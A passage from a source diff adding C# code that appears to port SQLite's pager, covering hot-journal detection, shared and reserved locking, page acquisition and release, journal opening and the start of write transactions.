memDb ? (dxStress)pagerStress : null, pPager, pPager.pPCache ); + + PAGERTRACE( "OPEN %d %s\n", FILEHANDLEID( pPager.fd ), pPager.zFilename ); + IOTRACE( "OPEN %p %s\n", pPager, pPager.zFilename ); + pPager.useJournal = (u8)( useJournal ? 1 : 0 ); + pPager.noReadlock = (u8)( noReadlock && readOnly ? 1 : 0 ); + /* pPager.stmtOpen = 0; */ + /* pPager.stmtInUse = 0; */ + /* pPager.nRef = 0; */ + /* pPager.stmtSize = 0; */ + /* pPager.stmtJSize = 0; */ + /* pPager.nPage = 0; */ + pPager.mxPgno = SQLITE_MAX_PAGE_COUNT; + /* pPager.state = PAGER_UNLOCK; */ +#if FALSE +Debug.Assert(pPager.state == (tempFile != 0 ? PAGER_EXCLUSIVE : PAGER_UNLOCK)); +#endif + /* pPager.errMask = 0; */ + pPager.tempFile = tempFile != 0; + Debug.Assert( tempFile == PAGER_LOCKINGMODE_NORMAL + || tempFile == PAGER_LOCKINGMODE_EXCLUSIVE ); + Debug.Assert( PAGER_LOCKINGMODE_EXCLUSIVE == 1 ); + pPager.exclusiveMode = tempFile != 0; + pPager.changeCountDone = pPager.tempFile; + pPager.memDb = memDb; + pPager.readOnly = readOnly; + Debug.Assert( useJournal || pPager.tempFile ); + pPager.noSync = pPager.tempFile; + pPager.fullSync = pPager.noSync; + pPager.syncFlags = (byte)( pPager.noSync ? 0 : SQLITE_SYNC_NORMAL ); + pPager.ckptSyncFlags = pPager.syncFlags; + /* pPager.pFirst = 0; */ + /* pPager.pFirstSynced = 0; */ + /* pPager.pLast = 0; */ + pPager.nExtra = (u16)nExtra; + pPager.journalSizeLimit = SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT; + Debug.Assert( isOpen( pPager.fd ) || tempFile != 0 ); + setSectorSize( pPager ); + if ( !useJournal ) + { + pPager.journalMode = PAGER_JOURNALMODE_OFF; + } + else if ( memDb != 0 ) + { + pPager.journalMode = PAGER_JOURNALMODE_MEMORY; + } + /* pPager.xBusyHandler = 0; */ + /* pPager.pBusyHandlerArg = 0; */ + pPager.xReiniter = xReinit; + /* memset(pPager.aHash, 0, sizeof(pPager.aHash)); */ + ppPager = pPager; + return SQLITE_OK; + } + + + + /* + ** This function is called after transitioning from PAGER_UNLOCK to + ** PAGER_SHARED state. It tests if there is a hot journal present in + ** the file-system for the given pager. A hot journal is one that + ** needs to be played back. According to this function, a hot-journal + ** file exists if the following criteria are met: + ** + ** * The journal file exists in the file system, and + ** * No process holds a RESERVED or greater lock on the database file, and + ** * The database file itself is greater than 0 bytes in size, and + ** * The first byte of the journal file exists and is not 0x00. + ** + ** If the current size of the database file is 0 but a journal file + ** exists, that is probably an old journal left over from a prior + ** database with the same name. In this case the journal file is + ** just deleted using OsDelete, *pExists is set to 0 and SQLITE_OK + ** is returned. + ** + ** This routine does not check if there is a master journal filename + ** at the end of the file. If there is, and that master journal file + ** does not exist, then the journal file is not really hot. In this + ** case this routine will return a false-positive. The pager_playback() + ** routine will discover that the journal file is not really hot and + ** will not roll it back. + ** + ** If a hot-journal file is found to exist, *pExists is set to 1 and + ** SQLITE_OK returned. If no hot-journal file is present, *pExists is + ** set to 0 and SQLITE_OK returned. If an IO error occurs while trying + ** to determine whether or not a hot-journal file exists, the IO error + ** code is returned and the value of *pExists is undefined. + */ + static int hasHotJournal( Pager pPager, ref int pExists ) + { + sqlite3_vfs pVfs = pPager.pVfs; + int rc = SQLITE_OK; /* Return code */ + int exists = 1; /* True if a journal file is present */ + int jrnlOpen = isOpen( pPager.jfd ) ? 1 : 0; + Debug.Assert( pPager.useJournal != 0 ); + Debug.Assert( isOpen( pPager.fd ) ); + Debug.Assert( pPager.eState == PAGER_OPEN ); + + Debug.Assert( jrnlOpen == 0 || ( sqlite3OsDeviceCharacteristics( pPager.jfd ) & + SQLITE_IOCAP_UNDELETABLE_WHEN_OPEN + ) != 0 ); + + + pExists = 0; + + if ( 0 == jrnlOpen ) + { + rc = sqlite3OsAccess( pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref exists ); + } + if ( rc == SQLITE_OK && exists != 0 ) + { + int locked = 0; /* True if some process holds a RESERVED lock */ + + /* Race condition here: Another process might have been holding the + ** the RESERVED lock and have a journal open at the sqlite3OsAccess() + ** call above, but then delete the journal and drop the lock before + ** we get to the following sqlite3OsCheckReservedLock() call. If that + ** is the case, this routine might think there is a hot journal when + ** in fact there is none. This results in a false-positive which will + ** be dealt with by the playback routine. Ticket #3883. + */ + rc = sqlite3OsCheckReservedLock( pPager.fd, ref locked ); + if ( rc == SQLITE_OK && locked == 0 ) + { + Pgno nPage = 0; /* Number of pages in database file */ + + /* Check the size of the database file. If it consists of 0 pages, + ** then delete the journal file. See the header comment above for + ** the reasoning here. Delete the obsolete journal file under + ** a RESERVED lock to avoid race conditions and to avoid violating + ** [H33020]. + */ + rc = pagerPagecount( pPager, ref nPage ); + if ( rc == SQLITE_OK ) + { + if ( nPage == 0 ) + { + sqlite3BeginBenignMalloc(); + if ( pagerLockDb( pPager, RESERVED_LOCK ) == SQLITE_OK ) + { + sqlite3OsDelete( pVfs, pPager.zJournal, 0 ); + if ( !pPager.exclusiveMode ) + pagerUnlockDb( pPager, SHARED_LOCK ); + } + sqlite3EndBenignMalloc(); + } + else + { + /* The journal file exists and no other connection has a reserved + ** or greater lock on the database file. Now check that there is + ** at least one non-zero bytes at the start of the journal file. + ** If there is, then we consider this journal to be hot. If not, + ** it can be ignored. + */ + if ( 0 == jrnlOpen ) + { + int f = SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL; + rc = sqlite3OsOpen( pVfs, pPager.zJournal, pPager.jfd, f, ref f ); + } + if ( rc == SQLITE_OK ) + { + u8[] first = new u8[1]; + rc = sqlite3OsRead( pPager.jfd, first, 1, 0 ); + if ( rc == SQLITE_IOERR_SHORT_READ ) + { + rc = SQLITE_OK; + } + if ( 0 == jrnlOpen ) + { + sqlite3OsClose( pPager.jfd ); + } + pExists = ( first[0] != 0 ) ? 1 : 0; + } + else if ( rc == SQLITE_CANTOPEN ) + { + /* If we cannot open the rollback journal file in order to see if + ** its has a zero header, that might be due to an I/O error, or + ** it might be due to the race condition described above and in + ** ticket #3883. Either way, assume that the journal is hot. + ** This might be a false positive. But if it is, then the + ** automatic journal playback and recovery mechanism will deal + ** with it under an EXCLUSIVE lock where we do not need to + ** worry so much with race conditions. + */ + pExists = 1; + rc = SQLITE_OK; + } + } + } + } + } + return rc; + } + + + + /* + ** This function is called to obtain a shared lock on the database file. + ** It is illegal to call sqlite3PagerAcquire() until after this function + ** has been successfully called. If a shared-lock is already held when + ** this function is called, it is a no-op. + ** + ** The following operations are also performed by this function. + ** + ** 1) If the pager is currently in PAGER_OPEN state (no lock held + ** on the database file), then an attempt is made to obtain a + ** SHARED lock on the database file. Immediately after obtaining + ** the SHARED lock, the file-system is checked for a hot-journal, + ** which is played back if present. Following any hot-journal + ** rollback, the contents of the cache are validated by checking + ** the 'change-counter' field of the database file header and + ** discarded if they are found to be invalid. + ** + ** 2) If the pager is running in exclusive-mode, and there are currently + ** no outstanding references to any pages, and is in the error state, + ** then an attempt is made to clear the error state by discarding + ** the contents of the page cache and rolling back any open journal + ** file. + ** + ** If everything is successful, SQLITE_OK is returned. If an IO error + ** occurs while locking the database, checking for a hot-journal file or + ** rolling back a journal file, the IO error code is returned. + */ + static int sqlite3PagerSharedLock( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + + /* This routine is only called from b-tree and only when there are no + ** outstanding pages. This implies that the pager state should either + ** be OPEN or READER. READER is only possible if the pager is or was in + ** exclusive access mode. + */ + Debug.Assert( sqlite3PcacheRefCount( pPager.pPCache ) == 0 ); + Debug.Assert( assert_pager_state( pPager ) ); + Debug.Assert( pPager.eState == PAGER_OPEN || pPager.eState == PAGER_READER ); + if ( NEVER( +#if SQLITE_OMIT_MEMORYDB +0!=MEMDB +#else + 0 != pPager.memDb +#endif + && pPager.errCode != 0 ) ) + { + return pPager.errCode; + } + + if ( !pagerUseWal( pPager ) && pPager.eState == PAGER_OPEN ) + { + int bHotJournal = 1; /* True if there exists a hot journal-file */ + + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( pPager.noReadlock == 0 || pPager.readOnly ); + + if ( pPager.noReadlock == 0 ) + { + rc = pager_wait_on_lock( pPager, SHARED_LOCK ); + if ( rc != SQLITE_OK ) + { + Debug.Assert( pPager.eLock == NO_LOCK || pPager.eLock == UNKNOWN_LOCK ); + goto failed; + } + } + + /* If a journal file exists, and there is no RESERVED lock on the + ** database file, then it either needs to be played back or deleted. + */ + if ( pPager.eLock <= SHARED_LOCK ) + { + rc = hasHotJournal( pPager, ref bHotJournal ); + } + if ( rc != SQLITE_OK ) + { + goto failed; + } + if ( bHotJournal != 0 ) + { + /* Get an EXCLUSIVE lock on the database file. At this point it is + ** important that a RESERVED lock is not obtained on the way to the + ** EXCLUSIVE lock. If it were, another process might open the + ** database file, detect the RESERVED lock, and conclude that the + ** database is safe to read while this process is still rolling the + ** hot-journal back. + ** + ** Because the intermediate RESERVED lock is not requested, any + ** other process attempting to access the database file will get to + ** this point in the code and fail to obtain its own EXCLUSIVE lock + ** on the database file. + ** + ** Unless the pager is in locking_mode=exclusive mode, the lock is + ** downgraded to SHARED_LOCK before this function returns. + */ + rc = pagerLockDb( pPager, EXCLUSIVE_LOCK ); + if ( rc != SQLITE_OK ) + { + goto failed; + } + + /* If it is not already open and the file exists on disk, open the + ** journal for read/write access. Write access is required because + ** in exclusive-access mode the file descriptor will be kept open + ** and possibly used for a transaction later on. Also, write-access + ** is usually required to finalize the journal in journal_mode=persist + ** mode (and also for journal_mode=truncate on some systems). + ** + ** If the journal does not exist, it usually means that some + ** other connection managed to get in and roll it back before + ** this connection obtained the exclusive lock above. Or, it + ** may mean that the pager was in the error-state when this + ** function was called and the journal file does not exist. + */ + if ( !isOpen( pPager.jfd ) ) + { + sqlite3_vfs pVfs = pPager.pVfs; + int bExists = 0; /* True if journal file exists */ + rc = sqlite3OsAccess( + pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref bExists ); + if ( rc == SQLITE_OK && bExists != 0 ) + { + int fout = 0; + int f = SQLITE_OPEN_READWRITE | SQLITE_OPEN_MAIN_JOURNAL; + Debug.Assert( !pPager.tempFile ); + rc = sqlite3OsOpen( pVfs, pPager.zJournal, pPager.jfd, f, ref fout ); + Debug.Assert( rc != SQLITE_OK || isOpen( pPager.jfd ) ); + if ( rc == SQLITE_OK && ( fout & SQLITE_OPEN_READONLY ) != 0 ) + { + rc = SQLITE_CANTOPEN_BKPT(); + sqlite3OsClose( pPager.jfd ); + } + } + } + + /* Playback and delete the journal. Drop the database write + ** lock and reacquire the read lock. Purge the cache before + ** playing back the hot-journal so that we don't end up with + ** an inconsistent cache. Sync the hot journal before playing + ** it back since the process that crashed and left the hot journal + ** probably did not sync it and we are required to always sync + ** the journal before playing it back. + */ + if ( isOpen( pPager.jfd ) ) + { + Debug.Assert( rc == SQLITE_OK ); + rc = pagerSyncHotJournal( pPager ); + if ( rc == SQLITE_OK ) + { + rc = pager_playback( pPager, 1 ); + pPager.eState = PAGER_OPEN; + } + } + else if ( !pPager.exclusiveMode ) + { + pagerUnlockDb( pPager, SHARED_LOCK ); + } + + if ( rc != SQLITE_OK ) + { + /* This branch is taken if an error occurs while trying to open + ** or roll back a hot-journal while holding an EXCLUSIVE lock. The + ** pager_unlock() routine will be called before returning to unlock + ** the file. If the unlock attempt fails, then Pager.eLock must be + ** set to UNKNOWN_LOCK (see the comment above the #define for + ** UNKNOWN_LOCK above for an explanation). + ** + ** In order to get pager_unlock() to do this, set Pager.eState to + ** PAGER_ERROR now. This is not actually counted as a transition + ** to ERROR state in the state diagram at the top of this file, + ** since we know that the same call to pager_unlock() will very + ** shortly transition the pager object to the OPEN state. Calling + ** assert_pager_state() would fail now, as it should not be possible + ** to be in ERROR state when there are zero outstanding page + ** references. + */ + pager_error( pPager, rc ); + goto failed; + } + + Debug.Assert( pPager.eState == PAGER_OPEN ); + Debug.Assert( ( pPager.eLock == SHARED_LOCK ) + || ( pPager.exclusiveMode && pPager.eLock > SHARED_LOCK ) + ); + } + + if ( !pPager.tempFile + && ( pPager.pBackup != null || sqlite3PcachePagecount( pPager.pPCache ) > 0 ) + ) + { + /* The shared-lock has just been acquired on the database file + ** and there are already pages in the cache (from a previous + ** read or write transaction). Check to see if the database + ** has been modified. If the database has changed, flush the + ** cache. + ** + ** Database changes is detected by looking at 15 bytes beginning + ** at offset 24 into the file. The first 4 of these 16 bytes are + ** a 32-bit counter that is incremented with each change. The + ** other bytes change randomly with each file change when + ** a codec is in use. + ** + ** There is a vanishingly small chance that a change will not be + ** detected. The chance of an undetected change is so small that + ** it can be neglected. + */ + Pgno nPage = 0; + byte[] dbFileVers = new byte[pPager.dbFileVers.Length]; + + rc = pagerPagecount( pPager, ref nPage ); + if ( rc != 0 ) + goto failed; + + if ( nPage > 0 ) + { + IOTRACE( "CKVERS %p %d\n", pPager, dbFileVers.Length ); + rc = sqlite3OsRead( pPager.fd, dbFileVers, dbFileVers.Length, 24 ); + if ( rc != SQLITE_OK ) + { + goto failed; + } + } + else + { + Array.Clear( dbFileVers, 0, dbFileVers.Length );// memset( dbFileVers, 0, sizeof( dbFileVers ) ); + } + + if ( memcmp( pPager.dbFileVers, dbFileVers, dbFileVers.Length ) != 0 ) + { + pager_reset( pPager ); + } + } + + /* If there is a WAL file in the file-system, open this database in WAL + ** mode. Otherwise, the following function call is a no-op. + */ + rc = pagerOpenWalIfPresent( pPager ); +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +Debug.Assert( pPager.pWal == null || rc == SQLITE_OK ); +#endif + } + + if ( pagerUseWal( pPager ) ) + { + Debug.Assert( rc == SQLITE_OK ); + rc = pagerBeginReadTransaction( pPager ); + } + + if ( pPager.eState == PAGER_OPEN && rc == SQLITE_OK ) + { + rc = pagerPagecount( pPager, ref pPager.dbSize ); + } + +failed: + if ( rc != SQLITE_OK ) + { + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + pager_unlock( pPager ); + Debug.Assert( pPager.eState == PAGER_OPEN ); + } + else + { + pPager.eState = PAGER_READER; + } + return rc; + } + + /* + ** If the reference count has reached zero, rollback any active + ** transaction and unlock the pager. + ** + ** Except, in locking_mode=EXCLUSIVE when there is nothing to in + ** the rollback journal, the unlock is not performed and there is + ** nothing to rollback, so this routine is a no-op. + */ + static void pagerUnlockIfUnused( Pager pPager ) + { + if ( sqlite3PcacheRefCount( pPager.pPCache ) == 0 ) + { + pagerUnlockAndRollback( pPager ); + } + } + + /* + ** Acquire a reference to page number pgno in pager pPager (a page + ** reference has type DbPage*). If the requested reference is + ** successfully obtained, it is copied to *ppPage and SQLITE_OK returned. + ** + ** If the requested page is already in the cache, it is returned. + ** Otherwise, a new page object is allocated and populated with data + ** read from the database file. In some cases, the pcache module may + ** choose not to allocate a new page object and may reuse an existing + ** object with no outstanding references. + ** + ** The extra data appended to a page is always initialized to zeros the + ** first time a page is loaded into memory. If the page requested is + ** already in the cache when this function is called, then the extra + ** data is left as it was when the page object was last used. + ** + ** If the database image is smaller than the requested page or if a + ** non-zero value is passed as the noContent parameter and the + ** requested page is not already stored in the cache, then no + ** actual disk read occurs. In this case the memory image of the + ** page is initialized to all zeros. + ** + ** If noContent is true, it means that we do not care about the contents + ** of the page. This occurs in two seperate scenarios: + ** + ** a) When reading a free-list leaf page from the database, and + ** + ** b) When a savepoint is being rolled back and we need to load + ** a new page into the cache to be filled with the data read + ** from the savepoint journal. + ** + ** If noContent is true, then the data returned is zeroed instead of + ** being read from the database. Additionally, the bits corresponding + ** to pgno in Pager.pInJournal (bitvec of pages already written to the + ** journal file) and the PagerSavepoint.pInSavepoint bitvecs of any open + ** savepoints are set. This means if the page is made writable at any + ** point in the future, using a call to sqlite3PagerWrite(), its contents + ** will not be journaled. This saves IO. + ** + ** The acquisition might fail for several reasons. In all cases, + ** an appropriate error code is returned and *ppPage is set to NULL. + ** + ** See also sqlite3PagerLookup(). Both this routine and Lookup() attempt + ** to find a page in the in-memory cache first. If the page is not already + ** in memory, this routine goes to disk to read it in whereas Lookup() + ** just returns 0. This routine acquires a read-lock the first time it + ** has to go to disk, and could also playback an old journal if necessary. + ** Since Lookup() never goes to disk, it never has to deal with locks + ** or journal files. + */ + + // Under C# from the header file + //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) + + static int sqlite3PagerGet( + Pager pPager, /* The pager open on the database file */ + u32 pgno, /* Page number to fetch */ + ref DbPage ppPage /* Write a pointer to the page here */ + ) + { + return sqlite3PagerAcquire( pPager, pgno, ref ppPage, 0 ); + } + + static int sqlite3PagerAcquire( + Pager pPager, /* The pager open on the database file */ + u32 pgno, /* Page number to fetch */ + ref DbPage ppPage, /* Write a pointer to the page here */ + u8 noContent /* Do not bother reading content from disk if true */ + ) + { + int rc; + PgHdr pPg = null; + + Debug.Assert( pPager.eState >= PAGER_READER ); + Debug.Assert( assert_pager_state( pPager ) ); + if ( pgno == 0 ) + { + return SQLITE_CORRUPT_BKPT(); + } + + /* If the pager is in the error state, return an error immediately. + ** Otherwise, request the page from the PCache layer. */ + if ( pPager.errCode != SQLITE_OK ) + { + rc = pPager.errCode; + } + else + { + rc = sqlite3PcacheFetch( pPager.pPCache, pgno, 1, ref ppPage ); + } + + if ( rc != SQLITE_OK ) + { + /* Either the call to sqlite3PcacheFetch() returned an error or the + ** pager was already in the error-state when this function was called. + ** Set pPg to 0 and jump to the exception handler. */ + pPg = null; + goto pager_acquire_err; + } + Debug.Assert( ( ppPage ).pgno == pgno ); + Debug.Assert( ( ppPage ).pPager == pPager || ( ppPage ).pPager == null ); + + if ( ( ppPage ).pPager != null && 0 == noContent ) + { + /* In this case the pcache already contains an initialized copy of + ** the page. Return without further ado. */ + Debug.Assert( pgno <= PAGER_MAX_PGNO && pgno != PAGER_MJ_PGNO( pPager ) ); + PAGER_INCR( ref pPager.nHit ); + return SQLITE_OK; + + } + else + { + /* The pager cache has created a new page. Its content needs to + ** be initialized. */ +#if SQLITE_TEST + PAGER_INCR( ref pPager.nMiss ); +#endif + pPg = ppPage; + pPg.pPager = pPager; + pPg.pExtra = new MemPage();//memset(pPg.pExtra, 0, pPager.nExtra); + + /* The maximum page number is 2^31. Return SQLITE_CORRUPT if a page + ** number greater than this, or the unused locking-page, is requested. */ + if ( pgno > PAGER_MAX_PGNO || pgno == PAGER_MJ_PGNO( pPager ) ) + { + rc = SQLITE_CORRUPT_BKPT(); + goto pager_acquire_err; + } + if ( +#if SQLITE_OMIT_MEMORYDB +1==MEMDB +#else + pPager.memDb != 0 +#endif + || pPager.dbSize < pgno || noContent != 0 || !isOpen( pPager.fd ) ) + { + if ( pgno > pPager.mxPgno ) + { + rc = SQLITE_FULL; + goto pager_acquire_err; + } + if ( noContent != 0 ) + { + /* Failure to set the bits in the InJournal bit-vectors is benign. + ** It merely means that we might do some extra work to journal a + ** page that does not need to be journaled. Nevertheless, be sure + ** to test the case where a malloc error occurs while trying to set + ** a bit in a bit vector. + */ + sqlite3BeginBenignMalloc(); + if ( pgno <= pPager.dbOrigSize ) + { +#if !NDEBUG || SQLITE_COVERAGE_TEST + rc = sqlite3BitvecSet( pPager.pInJournal, pgno ); //TESTONLY( rc = ) sqlite3BitvecSet(pPager.pInJournal, pgno); +#else +sqlite3BitvecSet(pPager.pInJournal, pgno); +#endif + testcase( rc == SQLITE_NOMEM ); + } +#if !NDEBUG || SQLITE_COVERAGE_TEST + rc = addToSavepointBitvecs( pPager, pgno ); //TESTONLY( rc = ) addToSavepointBitvecs(pPager, pgno); +#else +addToSavepointBitvecs(pPager, pgno); +#endif + + testcase( rc == SQLITE_NOMEM ); + sqlite3EndBenignMalloc(); + } + //memset(pPg.pData, 0, pPager.pageSize); + Array.Clear( pPg.pData, 0, pPager.pageSize ); + IOTRACE( "ZERO %p %d\n", pPager, pgno ); + } + else + { + Debug.Assert( pPg.pPager == pPager ); + rc = readDbPage( pPg ); + if ( rc != SQLITE_OK ) + { + goto pager_acquire_err; + } + } + + pager_set_pagehash( pPg ); + } + return SQLITE_OK; + +pager_acquire_err: + Debug.Assert( rc != SQLITE_OK ); + if ( pPg != null ) + { + sqlite3PcacheDrop( pPg ); + } + pagerUnlockIfUnused( pPager ); + + ppPage = null; + return rc; + } + + /* + ** Acquire a page if it is already in the in-memory cache. Do + ** not read the page from disk. Return a pointer to the page, + ** or 0 if the page is not in cache. + ** + ** See also sqlite3PagerGet(). The difference between this routine + ** and sqlite3PagerGet() is that _get() will go to the disk and read + ** in the page if the page is not already in cache. This routine + ** returns NULL if the page is not in cache or if a disk I/O error + ** has ever happened. + */ + static DbPage sqlite3PagerLookup( Pager pPager, u32 pgno ) + { + PgHdr pPg = null; + + Debug.Assert( pPager != null ); + Debug.Assert( pgno != 0 ); + Debug.Assert( pPager.pPCache != null ); + Debug.Assert( pPager.eState >= PAGER_READER && pPager.eState != PAGER_ERROR ); + sqlite3PcacheFetch( pPager.pPCache, pgno, 0, ref pPg ); + + return pPg; + } + + /* + ** Release a page reference. + ** + ** If the number of references to the page drop to zero, then the + ** page is added to the LRU list. When all references to all pages + ** are released, a rollback occurs and the lock on the database is + ** removed. + */ + static void sqlite3PagerUnref( DbPage pPg ) + { + if ( pPg != null ) + { + Pager pPager = pPg.pPager; + sqlite3PcacheRelease( pPg ); + pagerUnlockIfUnused( pPager ); + } + } + + /* + ** This function is called at the start of every write transaction. + ** There must already be a RESERVED or EXCLUSIVE lock on the database + ** file when this routine is called. + ** + ** Open the journal file for pager pPager and write a journal header + ** to the start of it. If there are active savepoints, open the sub-journal + ** as well. This function is only used when the journal file is being + ** opened to write a rollback log for a transaction. It is not used + ** when opening a hot journal file to roll it back. + ** + ** If the journal file is already open (as it may be in exclusive mode), + ** then this function just writes a journal header to the start of the + ** already open file. + ** + ** Whether or not the journal file is opened by this function, the + ** Pager.pInJournal bitvec structure is allocated. + ** + ** Return SQLITE_OK if everything is successful. Otherwise, return + ** SQLITE_NOMEM if the attempt to allocate Pager.pInJournal fails, or + ** an IO error code if opening or writing the journal file fails. + */ + static int pager_open_journal( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + sqlite3_vfs pVfs = pPager.pVfs; /* Local cache of vfs pointer */ + + Debug.Assert( pPager.eState == PAGER_WRITER_LOCKED ); + Debug.Assert( assert_pager_state( pPager ) ); + Debug.Assert( pPager.pInJournal == null ); + + /* If already in the error state, this function is a no-op. But on + ** the other hand, this routine is never called if we are already in + ** an error state. */ + if ( NEVER( pPager.errCode ) != 0 ) + return pPager.errCode; + + if ( !pagerUseWal( pPager ) && pPager.journalMode != PAGER_JOURNALMODE_OFF ) + { + pPager.pInJournal = sqlite3BitvecCreate( pPager.dbSize ); + //if (pPager.pInJournal == null) + //{ + // return SQLITE_NOMEM; + //} + + /* Open the journal file if it is not already open. */ + if ( !isOpen( pPager.jfd ) ) + { + if ( pPager.journalMode == PAGER_JOURNALMODE_MEMORY ) + { + sqlite3MemJournalOpen( pPager.jfd ); + } + else + { + int flags = /* VFS flags to open journal file */ + SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | + ( pPager.tempFile ? + ( SQLITE_OPEN_DELETEONCLOSE | SQLITE_OPEN_TEMP_JOURNAL ) : + ( SQLITE_OPEN_MAIN_JOURNAL ) + ); +#if SQLITE_ENABLE_ATOMIC_WRITE +rc = sqlite3JournalOpen( +pVfs, pPager.zJournal, pPager.jfd, flags, jrnlBufferSize(pPager) +); +#else + int int0 = 0; + rc = sqlite3OsOpen( pVfs, pPager.zJournal, pPager.jfd, flags, ref int0 ); +#endif + } + Debug.Assert( rc != SQLITE_OK || isOpen( pPager.jfd ) ); + } + + /* Write the first journal header to the journal file and open + ** the sub-journal if necessary. + */ + if ( rc == SQLITE_OK ) + { + /* TODO: Check if all of these are really required. */ + pPager.nRec = 0; + pPager.journalOff = 0; + pPager.setMaster = 0; + pPager.journalHdr = 0; + rc = writeJournalHdr( pPager ); + } + } + if ( rc != SQLITE_OK ) + { + sqlite3BitvecDestroy( ref pPager.pInJournal ); + pPager.pInJournal = null; + } + else + { + Debug.Assert( pPager.eState == PAGER_WRITER_LOCKED ); + pPager.eState = PAGER_WRITER_CACHEMOD; + } + return rc; + } + + /* + ** Begin a write-transaction on the specified pager object. If a + ** write-transaction has already been opened, this function is a no-op. + ** + ** If the exFlag argument is false, then acquire at least a RESERVED + ** lock on the database file. If exFlag is true, then acquire at least + ** an EXCLUSIVE lock. If such a lock is already held, no locking + ** functions need be called. + ** + ** If the subjInMemory argument is non-zero, then any sub-journal opened + ** within this transaction will be opened as an in-memory file. This + ** has no effect if the sub-journal is already opened (as it may be when + ** running in exclusive mode) or if the transaction does not require a + ** sub-journal. If the subjInMemory argument is zero, then any required + ** sub-journal is implemented in-memory if pPager is an in-memory database, + ** or using a temporary file otherwise. + */ + static int sqlite3PagerBegin( Pager pPager, bool exFlag, int subjInMemory ) + { + int rc = SQLITE_OK; + if ( pPager.errCode != 0 ) + return pPager.errCode; + Debug.Assert( pPager.eState >= PAGER_READER && pPager.eState < PAGER_ERROR ); + pPager.subjInMemory = (u8)subjInMemory; + if ( ALWAYS( pPager.eState == PAGER_READER ) ) + { + Debug.Assert( pPager.pInJournal == null ); + if ( pagerUseWal( pPager ) ) + { + /* If the pager is configured to use locking_mode=exclusive, and an + ** exclusive lock on the database is not already held, obtain it now. + */ + if ( pPager.exclusiveMode && sqlite3WalExclusiveMode( pPager.pWal, -1 ) ) + { + rc = pagerLockDb( pPager, EXCLUSIVE_LOCK ); + if ( rc != SQLITE_OK ) + { + return rc; + } + sqlite3WalExclusiveMode( pPager.pWal, 1 ); + } + + /* Grab the write lock on the log file. If successful, upgrade to + ** PAGER_RESERVED state. Otherwise, return an error code to the caller. + ** The busy-handler is not invoked if another connection already + ** holds the write-lock. If possible, the upper layer will call it. + */ + rc = sqlite3WalBeginWriteTransaction( pPager.pWal ); + } + else + { + /* Obtain a RESERVED lock on the database file. If the exFlag parameter + ** is true, then immediately upgrade this to an EXCLUSIVE lock. The + ** busy-handler callback can be used when upgrading to the EXCLUSIVE + ** lock, but not when obtaining the RESERVED lock. + */ + rc = pagerLockDb( pPager, RESERVED_LOCK ); + if ( rc == SQLITE_OK && exFlag ) + { + rc = pager_wait_on_lock( pPager, EXCLUSIVE_LOCK ); + } + } + + if ( rc == SQLITE_OK ) + { + /* Change to WRITER_LOCKED state. + ** + ** WAL mode sets Pager.eState to PAGER_WRITER_LOCKED or CACHEMOD + ** when it has an open transaction, but never to DBMOD or FINISHED. + ** This is because in those states the code to roll back savepoint + ** transactions may copy data from the sub-journal into the database + ** file as well as into the page cache. Which would be incorrect in + ** WAL mode. + */ + pPager.eState = PAGER_WRITER_LOCKED; + pPager.dbHintSize = pPager.dbSize; + pPager.dbFileSize = pPager.dbSize; + pPager.dbOrigSize = pPager.dbSize; + pPager.journalOff = 0; + } + + Debug.Assert( rc == SQLITE_OK || pPager.eState == PAGER_READER ); + Debug.Assert( rc != SQLITE_OK || pPager.eState == PAGER_WRITER_LOCKED ); + Debug.Assert( assert_pager_state( pPager ) ); + } + + PAGERTRACE( "TRANSACTION %d\n", PAGERID( pPager ) ); + return rc; + } + + + /* + ** Mark a single data page as writeable. The page is written into the + ** main journal or sub-journal as required. If the page is written into + ** one of the journals, the corresponding bit is set in the + ** Pager.pInJournal bitvec and the PagerSavepoint.pInSavepoint bitvecs + ** of any open savepoints as appropriate. + */ + static int pager_write( PgHdr pPg ) + { + byte[] pData = pPg.pData; + Pager pPager = pPg.pPager; + int rc = SQLITE_OK; + + /* This routine is not called unless a write-transaction has already + ** been started. The journal file may or may not be open at this point. + ** It is never called in the ERROR state. + */ + Debug.Assert( pPager.eState == PAGER_WRITER_LOCKED + || pPager.eState == PAGER_WRITER_CACHEMOD + || pPager.eState == PAGER_WRITER_DBMOD + ); + Debug.Assert( assert_pager_state( pPager ) ); + + /* If an error has been previously detected, report the same error + ** again. This should not happen, but the check provides robustness. */ + if ( NEVER( pPager.errCode ) != 0 ) + return pPager.errCode; + + /* Higher-level routines never call this function if database is not + ** writable. But check anyway, just for robustness. */ + if ( NEVER( pPager.readOnly ) ) + return SQLITE_PERM; + +#if SQLITE_CHECK_PAGES +CHECK_PAGE(pPg); +#endif + /* The journal file needs to be opened. Higher level routines have already +** obtained the necessary locks to begin the write-transaction, but the +** rollback journal might not yet be open. Open it now if this is the case. +** +** This is done before calling sqlite3PcacheMakeDirty() on the page. +** Otherwise, if it were done after calling sqlite3PcacheMakeDirty(), then +** an error might occur and the pager would end up in WRITER_LOCKED state +** with pages marked as dirty in the cache. +*/ + if ( pPager.eState == PAGER_WRITER_LOCKED ) + { + rc = pager_open_journal( pPager ); + if ( rc != SQLITE_OK ) + return rc; + } + Debug.Assert( pPager.eState >= PAGER_WRITER_CACHEMOD ); + Debug.Assert( assert_pager_state( pPager ) ); + + /* Mark the page as dirty. If the page has already been written + ** to the journal then we can return right away. + */ + sqlite3PcacheMakeDirty( pPg ); + if ( pageInJournal( pPg ) && !subjRequiresPage( pPg ) ) + { + Debug.Assert( !pagerUseWal( pPager ) ); + } + else + { + /* The transaction journal now exists and we have a RESERVED or an + ** EXCLUSIVE lock on the main database file. Write the current page to + ** the transaction journal if it is not there already. + */ + if ( !pageInJournal( pPg ) && !pagerUseWal( pPager ) ) + { + Debug.Assert( pagerUseWal( pPager ) == false ); + if ( pPg.pgno <= 